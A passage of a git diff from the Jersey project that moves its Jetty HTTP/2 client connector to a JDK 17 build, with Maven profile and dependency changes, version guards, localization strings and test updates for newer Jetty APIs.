<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
- <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
- <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
- <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+ <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
<java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+ <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+ <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
</properties>
<dependencies>
@@ -46,26 +46,6 @@
<artifactId>jetty-client</artifactId>
</dependency>
<dependency>
- <groupId>org.eclipse.jetty.http2</groupId>
- <artifactId>http2-client</artifactId>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
- <groupId>org.eclipse.jetty.http2</groupId>
- <artifactId>http2-http-client-transport</artifactId>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
</dependency>
@@ -84,21 +64,14 @@
</dependency>
<dependency>
- <groupId>org.glassfish.jersey.containers</groupId>
- <artifactId>jersey-container-jetty-http2</artifactId>
- <version>${project.version}</version>
- <scope>test</scope>
- </dependency>
- <dependency>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>jersey-media-json-jackson</artifactId>
<version>${project.version}</version>
<scope>test</scope>
</dependency>
<dependency>
- <groupId>org.glassfish.jersey.test-framework.providers</groupId>
- <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
- <version>${project.version}</version>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
@@ -137,87 +110,13 @@
<profiles>
<profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>com.sun.xml.bind</groupId>
- <artifactId>jaxb-osgi</artifactId>
- <scope>test</scope>
- </dependency>
- </dependencies>
- </profile>
- <profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<properties>
- <jetty.version>${jetty9.version}</jetty.version>
+ <jetty.version>${jetty11.version}</jetty.version>
</properties>
- <dependencies>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-client</artifactId>
- <version>${jetty.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-util</artifactId>
- <version>${jetty.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- </dependencies>
- <build>
- <directory>${java8.build.outputDirectory}</directory>
- <plugins>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <phase>generate-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>${java8.sourceDirectory}</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <configuration>
- <testExcludes>
- <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude>
- </testExcludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>Jetty11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
<build>
<directory>${java11.build.outputDirectory}</directory>
<plugins>
@@ -238,17 +137,76 @@
</execution>
</executions>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <configuration>
+ <testExcludes>
+ <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude>
+ </testExcludes>
+ </configuration>
+ </plugin>
</plugins>
</build>
</profile>
<profile>
- <id>copyJDK11FilesToMultiReleaseJar</id>
+ <id>JettyInclude</id>
+ <activation>
+ <jdk>[17,)</jdk>
+ </activation>
+ <dependencies>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>jetty-http2-client</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>jetty-http2-client-transport</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty-http2</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+ <build>
+ <directory>${java17.build.outputDirectory}</directory>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <executions>
+ <execution>
+ <phase>generate-sources</phase>
+ <goals>
+ <goal>add-source</goal>
+ </goals>
+ <configuration>
+ <sources>
+ <source>${java17.sourceDirectory}</source>
+ </sources>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ <profile>
+ <id>copyJDK17FilesToMultiReleaseJar</id>
<activation>
<file>
- <!-- ${java11.build.outputDirectory} does not work here -->
- <exists>target11/classes/org/glassfish/jersey/jetty/connector/JettyHttp2ConnectorProvider.class</exists>
+ <!-- ${java17.build.outputDirectory} does not work here -->
+ <exists>target17/classes/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.class</exists>
</file>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -269,16 +227,16 @@
<inherited>true</inherited>
<executions>
<execution>
- <id>copy-jdk11-classes</id>
+ <id>copy-jdk17-classes</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
- <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+ <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
<resources>
<resource>
- <directory>${java11.build.outputDirectory}/classes</directory>
+ <directory>${java17.build.outputDirectory}/classes</directory>
</resource>
</resources>
</configuration>
@@ -290,14 +248,14 @@
<artifactId>maven-antrun-plugin</artifactId>
<executions>
<execution>
- <id>copy-jdk11-sources</id>
+ <id>copy-jdk17-sources</id>
<phase>package</phase>
<configuration>
<target>
- <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+ <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
<echo>sources-jar: ${sources-jar}</echo>
<zip destfile="${sources-jar}" update="true">
- <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+ <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
</zip>
</target>
</configuration>
@@ -311,4 +269,5 @@
</build>
</profile>
</profiles>
+
</project>
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
index 454efd0..7d203cc 100644
--- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,13 +16,12 @@
package org.glassfish.jersey.jetty.http2.connector;
+import jakarta.ws.rs.ProcessingException;
import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
-import org.glassfish.jersey.jetty.connector.JettyConnector;
+import org.glassfish.jersey.internal.util.JdkVersion;
import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
/**
* HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
@@ -41,15 +40,17 @@
/**
* supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
* to a {@link org.glassfish.jersey.client.ClientConfig}
- * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
+ * @param http2Client seed doc for JDK 11+.
*/
public JettyHttp2ClientSupplier(HttpClient http2Client) {
this.http2Client = http2Client;
}
private static final HttpClient createHttp2Client() {
- final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client());
- return new HttpClient(transport);
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ return null; // does not work at JDK lower than 17
}
@Override
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
index 02eaf5a..301879c 100644
--- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -16,12 +16,11 @@
package org.glassfish.jersey.jetty.http2.connector;
+import jakarta.ws.rs.ProcessingException;
import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
import jakarta.ws.rs.core.Configuration;
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.client.Initializable;
import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.util.JdkVersion;
import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
import org.glassfish.jersey.jetty.connector.LocalizationMessages;
@@ -33,26 +32,9 @@
public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
@Override
public Connector getConnector(Client client, Configuration runtimeConfig) {
- return new JettyHttp2Connector(client, runtimeConfig);
- }
-
- public static HttpClient getHttpClient(Configurable<?> component) {
- if (!(component instanceof Initializable)) {
- throw new IllegalArgumentException(
- LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
-
- final Initializable<?> initializable = (Initializable<?>) component;
- Connector connector = initializable.getConfiguration().getConnector();
- if (connector == null) {
- initializable.preInitialize();
- connector = initializable.getConfiguration().getConnector();
- }
-
- if (connector instanceof JettyHttp2Connector) {
- return ((JettyHttp2Connector) connector).getHttpClient();
- }
-
- throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ return null; // does not work at JDK lower than 17
}
}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
similarity index 77%
copy from connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
copy to connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
index 6275727..36556e0 100644
--- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,12 +16,13 @@
package org.glassfish.jersey.jetty.http2.connector;
-import jakarta.ws.rs.ProcessingException;
import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
/**
* HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
@@ -40,17 +41,15 @@
/**
* supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
* to a {@link org.glassfish.jersey.client.ClientConfig}
- * @param http2Client seed doc for JDK 11+.
+ * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
*/
public JettyHttp2ClientSupplier(HttpClient http2Client) {
this.http2Client = http2Client;
}
private static final HttpClient createHttp2Client() {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- return null; // does not work at JDK 1.8
+ final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client());
+ return new HttpClient(transport);
}
@Override
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
new file mode 100644
index 0000000..a602b0d
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.io.ClientConnector;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
+
+import java.util.Optional;
+
+/**
+ * Extends {@link JettyConnector} with HTTP/2 transport support
+ *
+ * @since 2.41
+ */
+class JettyHttp2Connector extends JettyConnector {
+
+
+ /**
+ * Create the new Jetty HTTP/2 client connector.
+ *
+ * @param jaxrsClient JAX-RS client instance, for which the connector is created.
+ * @param config client configuration.
+ */
+ JettyHttp2Connector(Client jaxrsClient, Configuration config) {
+ super(jaxrsClient, config);
+ }
+
+ /**
+ * provides required {@link HttpClientTransport} for client
+ *
+ * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client}
+ *
+ * @return {@link HttpClientTransportOverHTTP2}
+ * @since 2.41
+ */
+ @Override
+ protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
+ return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector));
+ }
+
+ /**
+ * provides custom registered {@link HttpClient} (if any) with HTTP/2 support
+ *
+ * @param config configuration where {@link HttpClient} could be registered
+ * @return {@link HttpClient} instance if any was previously registered or NULL
+ *
+ * @since 2.41
+ */
+ @Override
+ protected HttpClient getRegisteredHttpClient(Configuration config) {
+ if (config.isRegistered(JettyHttp2ClientSupplier.class)) {
+ Optional<Object> contract = config.getInstances().stream()
+ .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst();
+ if (contract.isPresent()) {
+ return ((JettyHttp2ClientSupplier) contract.get()).getHttpClient();
+ }
+ }
+ return null;
+ }
+}
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 0000000..02eaf5a
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+ @Override
+ public Connector getConnector(Client client, Configuration runtimeConfig) {
+ return new JettyHttp2Connector(client, runtimeConfig);
+ }
+
+ public static HttpClient getHttpClient(Configurable<?> component) {
+ if (!(component instanceof Initializable)) {
+ throw new IllegalArgumentException(
+ LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+ }
+
+ final Initializable<?> initializable = (Initializable<?>) component;
+ Connector connector = initializable.getConfiguration().getConnector();
+ if (connector == null) {
+ initializable.preInitialize();
+ connector = initializable.getConfiguration().getConnector();
+ }
+
+ if (connector instanceof JettyHttp2Connector) {
+ return ((JettyHttp2Connector) connector).getHttpClient();
+ }
+
+ throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
deleted file mode 100644
index 74e5670..0000000
--- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
-
-/**
- * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
- *
- * @since 2.41
- */
-public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
- @Override
- public Connector getConnector(Client client, Configuration runtimeConfig) {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- return null; // does not work at JDK 1.8
- }
-}
\ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
similarity index 63%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
index 2886c72..5fc8425 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -14,5 +14,8 @@
# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
#
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+# {0} - HTTP method, e.g. GET, DELETE
+method.not.supported=Method {0} not supported.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
+not.supported=Jetty connector is not supported on JDK version less than 17.
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
index 7fe2edf..c476301 100644
--- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -16,7 +16,7 @@
package org.glassfish.jersey.jetty.http2.connector;
-import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.eclipse.jetty.client.BasicAuthentication;
import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.jetty.connector.JettyClientProperties;
import org.glassfish.jersey.logging.LoggingFeature;
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
index eb1c653..427ed3c 100644
--- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -91,7 +91,7 @@
final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
if (connector.getCookieStore() != null) {
- assertTrue(connector.getCookieStore().getCookies().isEmpty());
+ assertTrue(connector.getCookieStore().all().isEmpty());
} else {
assertNull(connector.getCookieStore());
}
@@ -109,9 +109,9 @@
assertEquals("value", r.request().get(String.class));
final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
- assertNotNull(connector.getCookieStore().getCookies());
- assertEquals(1, connector.getCookieStore().getCookies().size());
- assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+ assertNotNull(connector.getCookieStore().all());
+ assertEquals(1, connector.getCookieStore().all().size());
+ assertEquals("value", connector.getCookieStore().all().get(0).getValue());
client.close();
}
}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
index ac6870a..bcf20cc 100644
--- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
@@ -17,6 +17,7 @@
package org.glassfish.jersey.jetty.http2.connector;
import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
import org.glassfish.jersey.logging.LoggingFeature;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
@@ -65,7 +66,7 @@
@Override
protected void configureClient(ClientConfig config) {
- config.connectorProvider(new JettyHttp2ConnectorProvider());
+ config.connectorProvider(new JettyConnectorProvider());
}
@Test
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
index 9823284..c59e557 100644
--- a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -17,10 +17,9 @@
package org.glassfish.jersey.jetty.http2.connector;
import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.jetty.JettyHttpContainer;
import org.glassfish.jersey.logging.LoggingFeature;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
diff --git a/connectors/jetty11-connector/pom.xml b/connectors/jetty11-connector/pom.xml
new file mode 100644
index 0000000..c25195f
--- /dev/null
+++ b/connectors/jetty11-connector/pom.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0"?>
+<!--
+
+ Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <parent>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>project</artifactId>
+ <version>3.1.99-SNAPSHOT</version>
+ </parent>
+
+ <artifactId>jersey-jetty11-connector</artifactId>
+ <packaging>jar</packaging>
+ <name>jersey-connectors-jetty11</name>
+
+ <description>Jersey Client Transport via Jetty 11.x</description>
+
+ <properties>
+ <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+ </properties>
+
+ <dependencyManagement>
+ <dependencies>
+<!-- <dependency>-->
+<!-- <groupId>org.eclipse.jetty</groupId>-->
+<!-- <artifactId>jetty-server</artifactId>-->
+<!-- <version>${jetty11.version}</version>-->
+<!-- </dependency>-->
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-client</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ </dependencies>
+ </dependencyManagement>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-client</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+
+ <dependency>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ <version>${slf4j.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-jaxb</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-grizzly2-http</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
